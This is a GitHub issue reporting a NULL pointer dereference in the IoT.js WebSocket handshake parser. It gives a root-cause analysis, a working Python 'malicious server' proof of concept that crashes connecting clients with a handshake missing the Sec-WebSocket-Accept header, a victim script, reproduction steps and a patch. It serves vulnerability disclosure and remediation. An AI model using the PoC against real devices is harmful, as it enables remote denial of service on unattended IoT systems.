Skip to content

IoT.js WebSocket Module NULL Pointer Dereference (CWE-476) Reproduction Report #1980

@Lanxiy7th

Description

@Lanxiy7th

IoT.js WebSocket Module NULL Pointer Dereference (CWE-476) Reproduction Report

1. Vulnerability Information

Field Content
Vulnerability Component Samsung IoT.js WebSocket Module
Affected File [src/modules/iotjs_module_websocket.c]
Faulty Location parse_handshake_data function (Lines 373-410)
Vulnerability Type CWE-476: NULL Pointer Dereference
Severity Medium - Remote Denial of Service (DoS)
Project Address https://github.com/jerryscript-project/iotjs

2. Root Cause Analysis

In the IoT.js WebSocket handshake implementation, the parse_handshake_data function processes the HTTP 101 Switching Protocols response from the server.

2.1 Source Code Logical Defect

// src/modules/iotjs_module_websocket.c
373: JS_FUNCTION(parse_handshake_data) {
...
384:   char ws_accept[] = "Sec-WebSocket-Accept: ";
385:   char *frame_end = strstr(buff_wrap->buffer, "\r\n\r\n");
386:   char *key_pos = strstr(buff_wrap->buffer, ws_accept) + strlen(ws_accept);
387:   char key[28] = { 0 };
388:   memcpy(key, key_pos, 28); // SINK: Crash point
389: 
390:   frame_end += 4; // Potential Crash point
...
}
  1. Missing Return Value Check: Lines 385 and 386 use strstr to locate specific headers but fail to check if strstr returns NULL when the target string is absent.
  2. Invalid Pointer Arithmetic: If the response lacks the Sec-WebSocket-Accept: header, strstr returns NULL. Consequently, key_pos becomes NULL + 22 (address 0x16).
  3. Memory Access Violation: When memcpy executes at line 388, it attempts to read from address 0x16, triggering an immediate Segmentation Fault (SIGSEGV) and crashing the IoT.js process.

4. Proof of Concept (PoC)

4.1 Attacker: Malicious Server (poc_server.py)

import socket

LISTEN_IP = "0.0.0.0"
LISTEN_PORT = 9999

MALICIOUS_RESPONSE = (
    b"HTTP/1.1 101 Switching Protocols\r\n"
    b"Upgrade: websocket\r\n"
    b"Connection: Upgrade\r\n"
    b"\r\n"
)

def main():
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    
    try:
        srv.bind((LISTEN_IP, LISTEN_PORT))
        srv.listen(5)
    except Exception as e:
        print(f"[-] Bind error: {e}")
        return

    print(f"[*] Malicious server started on {LISTEN_IP}:{LISTEN_PORT}")
    print("[*] Waiting for victim connection...")

    while True:
        conn, addr = srv.accept()
        print(f"\n[+] Victim connected: {addr[0]}:{addr[1]}")

        try:
            handshake_req = conn.recv(4096)
            print(f"[*] Received handshake: {len(handshake_req)} bytes")
            
            print("[*] Sending malicious response (missing Sec-WebSocket-Accept)...")
            conn.sendall(MALICIOUS_RESPONSE)
            print("[!] Attack delivered. Victim should crash immediately.")
            
        except Exception as e:
            print(f"[-] Error: {e}")
        finally:
            conn.close()

if __name__ == "__main__":
    main()

4.2 Victim: IoT.js Client (victim.js)

var ws = require('websocket');
var websocket = new ws.Websocket();

websocket.on('open', function() {
  console.log('[+] Connected');
});

websocket.on('error', function(err) {
  console.log('[-] Error: ' + err);
});

// 攻击机的真实 IP 和端口
var ATTACKER_IP = '192.168.0.149';
var ATTACKER_PORT = 9999;

console.log('[*] Connecting to: ws://' + ATTACKER_IP + ':' + ATTACKER_PORT);
websocket.connect('ws://' + ATTACKER_IP, ATTACKER_PORT, '/');

5. Reproduction Procedure

  1. Start Attacker Server: Execute python3 poc_server.py on the attacker machine.
Image Image
  1. Configure Client: Set ATTACKER_IP in victim.js to point to the server.
Image
  1. Execute Victim: Run iotjs victim.js on the target IoT device.
  2. Observation: - The server logs the connection and sends the payload. - The IoT.js process terminates instantly with a Segmentation Fault (SIGSEGV).
Image

6. Impact Assessment

  • Availability Destruction: An attacker can remotely crash any IoT.js client-side WebSocket service by inducing a connection to a malicious server or performing a Man-in-the-Middle (MITM) attack.
  • Denial of Service (DoS): In automated environments, this can lead to persistent downtime. If the device has a watchdog timer that restarts the process, a repeated attack can cause an Infinite Reboot Loop.
  • IoT Criticality: Since many IoT devices run unattended, a remote crash disrupts critical functions. For example, it can disable Smart Home Hubs, interrupt Industrial Edge Gateways, or blind Security IP Cameras.

7. Mitigation Recommendations

Strictly validate the return values of strstr before pointer arithmetic and memory copy:

  char *frame_end = strstr(buff_wrap->buffer, "\r\n\r\n");
  if (frame_end == NULL) {
    return JS_CREATE_ERROR(COMMON, "Malformed HTTP response: missing header end");
  }

  char *accept_pos = strstr(buff_wrap->buffer, ws_accept);
  if (accept_pos == NULL) {
    return JS_CREATE_ERROR(COMMON, "Malformed HTTP response: missing Sec-WebSocket-Accept header");
  }
  char *key_pos = accept_pos + strlen(ws_accept);

  // Suggested: Verify if the remaining buffer is at least 28 bytes

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions